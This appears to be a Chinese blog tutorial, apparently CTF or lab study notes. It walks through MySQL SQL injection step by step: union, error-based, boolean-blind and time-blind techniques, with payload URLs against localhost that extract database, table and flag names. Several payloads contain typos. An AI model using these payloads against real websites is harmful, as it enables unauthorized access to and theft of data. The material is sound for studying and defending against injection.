zoukankan      html  css  js  c++  java
  • SQL注入-流程

    一般注入分类:

    	时间,布尔,报错,堆,联合
    

    有关函数介绍:

    	current_user() 当前用户名
    	session_user() 链接数据库的用户名
    	@@basedir  mysql安装路径
    	@@datadir  数据库存储的路径
    	@@version_compile_os操作系统版本
    

    MYSQL中常用的表

    	information_schema数据库,存储数据库元信息,具有表schemata(数据库名)tables(表名)columns(列名字段名)
    	SCHEMA_NAME字段用来存储数据库名,TABLE_SCHEMA字段用来存储表名,
    	table_schema和table_name分别来存储数据库名和表名
    	columns表中,table_schema(数据库名)
    

    查询语句

    	 select database();查看当前已选择库名
    	select table_name from information_schema.tables where table_schema=database();查看当前数据库中存在的表名
    	select column_name from information_schema.columns where table_schema=database() and table_name='login';查询某个表中的字段名称
    

    注释符:

    	#
    	--+   --为单行注释,但是在web中+和空格同义,所以用--+
    	/**/
    	/*!*/
    	%23 表示# 
    

    判断存在注入:

    	(1).127.0.0.1/?id=1
    		在1后面加'单引号    在1后面加/斜杠    在1后加and 1=1 或者 1=2   在1后加and sleep(5)
    	(2).字符型和整型的最大区别是:字符型需要先闭合前面的引号,后面加注释
    		$sql = "select * from table where id = '1'";  在正常查询语句中,先闭合前边1的' and 1=1 后边由于还有
    		单引号,所以需要注释掉用--+
    

    联合查询注入:

    	1.按照注入语法分为:联合查询注入union/报错查询注入error/布尔型注入Boolean/延时注入time/堆叠查询注入
    	2.联合查询注入是最简单一种注入方式,但要求页面有显示位,否则无法注入
    		先判断是字符还是整型,加'加--+注释说明是字符型
    		oredr by 对表里面的数据进行排序,order by 1按照第一列进行排序,依次类推。
    		?id=-1'union select 1,2,3 --+   注意id=-1,隐藏正常结果才能爆出显示位,显示位是2,3可以插入正常语句
    

    报错盲注:

    	网站开启了mysqli_error函数
    	函数1:(floor函数:)
    		floor(rand(0)*2):利用分组时生成的虚拟表出现主键冲突,报出错误信息
    		基本格式:select count(*),concat(/*payload*/,floor(rand(0)*2))as x from user group by x;
    		说明:payload可以替换为任意的查询语句,database()还可以换成其他的数据库名/表名/列名
    			  concat是mysql中连接多个字符的函数,起到连接作用。
    			  select count(*),concat(database(),floor(rand(0)*2)as x from user group by x; 爆出当前库名
    	函数2:extractvalue
    			基本格式:?id=1 and extractvalue(1,(payload))
    			          ?id=1 and updatexml(1,(concat(0x7e,(select@@version),ox7e)),1)
    	函数3(updataxml函数:)
    		updataxml()函数
    		updataxml(xml_document,xpath_string,new_value);
    		参数              描述
    		xml_document      string格式,为xml文档对象的名称,文中为Doc
    		xpath_string      xpath格式的字符串
    		new_value         string格式,替换查找到的符合条件的数据
    		select name from user where id=1 and updatexml(1,concat('~',(select database(),'~'),3))  #注入语句
    

    基于布尔盲注:

    	构造SQL判断语句,通过查看页面返回结果来推断哪些SQL判断条件是成立的,以此来获取数据库中的数据。
    	1.如果页面既没有显示位,也没有报错提示的话,可以使用布尔注入
    	2.通过插入一些语句查看结果来判断是否为布尔注入
    	3.布尔注入的几个常用函数:
    		length(select database())>5 #length() 里面可以方查询语句,判断查询结果的长度
    		exists() #exists里可以放查询语句,用来判断查询结果是否存在
    		ascii() #ascii里面可以放查询语句,把查询结果转换为ascii的值
    		substr(string,pos,length)#用来截取查询结果,string可以用查询语句代替,pos表示
    				截取位置,下标从1开始,length表示截取的长度
    			举例:
    			select * from user where id =1 and length(user())>10;如果user()用户长度>10,返回就正常,否则为空。
    			?id=1 and substr((select user()),1,1) = 'r' #判断用户第一个字符是否为r
    			?id=1 and substr((select user()),2,1) = 'o'#判断用户第二个字符是否为o
    			?id=1 and ascii("r")=114
    			?id=1 and ascii(substr((select user(),1,1))>114 #判断用户的第一个字符是否大于114
    	好玩又麻烦
    		查看注入点方法,每个人手法不同。个人查看注入点为'单引号,"双引号。
    		127.0.0.1/?id=1  #正常     127.0.0.1/?id=1'  #不正常    127.0.0.1/?id=1'' #正常
    	构造闭合
    		127.0.0.1/?id=1' --+  #正常,可认为闭合成功了
    		127.0.0.1/?id=1' and 1=1 --+  #正常
    		127.0.0.1/?id=1' and 1=2 --+ #不正常
    	猜解数据库:
    		length()返回数据库的长度
    		127.0.0.1/?id=1' and length(database())>1 --+ #肯定大于1
    		127.0.0.1/?id=1' and length(database())>3 --+ #大于3
    		127.0.0.1/?id=1' and length(database())>4 --+ #不大于4
    		继而ascii()和substr()猜解数据库名
    		
    		127.0.0.1/?id=1' and (select ascii(substr(database(),1,1)))=116 --+ #116=t
    

    		不停尝试爆数据库表,盲注很枯燥.
    		127.0.0.1/?id=1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='teat' limit 0,1),1,1)))=102 --+   看表
    		127.0.0.1/?id=1' and (select ascii(substr((select clolumn_name from information_schema.columns where table_name = 'falgs' limit0,1),2,1)))=105 --+  看表的列
    

    基于时间布尔盲注:

    		1.如果布尔注入不行时,可以用延时注入.
    		2.延时注入基本格式:
    		• #IF(Condition,A,B)函数
                        当Condition为TRUE时,返回A;当Condition为FALSE时,返回B。
                        eg:if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)
    		3.举例
    		#(1)判断当前数据库长度
    		id=3' and if(length(database())>10,sleep(5),1) --+  #判断数据库长度
    		#(2)获取当前连接数据库第一个字母
    		if(ascii(substr((select database()), 1, 1))=114, sleep(5), 1) 
    		#(3)判断第一个数据库第一个字符。
    		if(ascii(substr((select distinct table_schema from information_schema.tables limit 0, 1), 1, 1))=105,sleep(5), 1) 
    		if(条件1,条件2,条件3)
    		如果条件1正确就执行条件2,条件1正确执行条件3
    		?id=1 and if(length(database())=4,sleep(1),1) --+  #得长度
    		?id=1 and if(((ascii(substr(database(),1,1)))=116),sleep(1),1) --+   #得到数据库名称为test
    			#得到第一个表名:flags
    		?id=1 and if((select ascii(sbustr((select table_name from information_schema.tables where table_schema = 'test' limit 0,1),1,1))=102),sleep(1),1) --+
    		?id=1 and if((select ascii(substr((select column_name from information_schema.columns where table_name = 'flags'limit 0,1),1,1))=105),sleep(1),1)--+
    			#获取到flags字段为id,flags
    		?id=1 and if ((select ascii(substr((select flag from flags limit 0,1),1,1))>1),sleep(1),1)--+,1)--+
    			#获取flag内容
    		?id=1 and if((ascii(substr((select flag from flags limit 0,1),1,1))) >100,sleep(1),1)
  • 相关阅读:
    解决url传递过程中加号变空格的问题<转>
    windows下CEF3的关闭流程《转》
    mfc封装cef浏览器 关闭整个窗口程序得时候又重启mfc 应用的程序
    雷神免费资源
    LCA的 RMQ解法模版
    最新的js焦点图库
    whereis+whatis+man
    Anroid 手机助手 详细解析 概述(二)
    <c:forEach varStatus="status">中 varStatus的属性简介
    JBoss 系列四十九:JBoss 7/WildFly 中端口使用列表
  • 原文地址:https://www.cnblogs.com/SnowSec/p/14275543.html
Copyright © 2011-2022 走看看